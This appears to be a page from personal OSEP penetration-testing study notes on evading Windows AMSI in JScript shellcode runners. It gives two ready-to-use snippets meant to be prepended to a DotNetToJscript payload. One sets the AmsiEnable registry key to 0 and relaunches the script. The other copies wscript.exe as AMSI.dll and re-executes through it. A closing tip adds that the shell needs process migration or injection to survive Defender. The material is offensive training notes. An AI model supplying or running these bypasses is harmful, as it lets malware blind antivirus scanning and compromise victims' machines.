> For the complete documentation index, see [llms.txt](https://osnotes.jackielam.net/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://osnotes.jackielam.net/osep/attack/evasions/amsi-bypass/jscript.md).

# JScript

## [Jscript Shellcode Runner - DotNetToJscript](/osep/attack/client-side-code-execution/window-script-host-jscript.js.md#jscript-shellcode-runner-dotnettojscript)

### Disable AMSI by setting registry key

{% code title="prepend to .netToJs.js" overflow="wrap" lineNumbers="true" fullWidth="true" %}

```javascript
var sh = new ActiveXObject('WScript.Shell');
var key = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable";
try{
	var AmsiEnable = sh.RegRead(key);
	if(AmsiEnable!=0){
	throw new Error(1, '');
	}
}catch(e){
	sh.RegWrite(key, 0, "REG_DWORD");
	sh.Run("cscript -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58} "+WScript.ScriptFullName,0,1);
	sh.RegWrite(key, 1, "REG_DWORD");
	WScript.Quit(1);
}
```

{% endcode %}

### Bypass AMSI by renaming wscript.exe to amsi.dll

{% code title="prepend to .netToJs.js" overflow="wrap" lineNumbers="true" fullWidth="true" %}

```javascript
var filesys= new ActiveXObject("Scripting.FileSystemObject");
var sh = new ActiveXObject('WScript.Shell');
try
{
	if(filesys.FileExists("C:\\Windows\\Tasks\\AMSI.dll")==0)
	{
		throw new Error(1, '');
	}
}
catch(e)
{
	filesys.CopyFile("C:\\Windows\\System32\\wscript.exe", "C:\\Windows\\Tasks\\AMSI.dll");
	sh.Exec("C:\\Windows\\Tasks\\AMSI.dll -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58} "+WScript.ScriptFullName);
	WScript.Quit(1);
}
```

{% endcode %}

{% hint style="warning" %}
Working shell for a brief period of time if not combining with evasion techniques ; 

Defender will flag - need immediately migrate the process or process [injection](/osep/attack/evasions/c-process-injection.md) / [hollowing](/osep/attack/evasions/process-hollowing.md)
{% endhint %}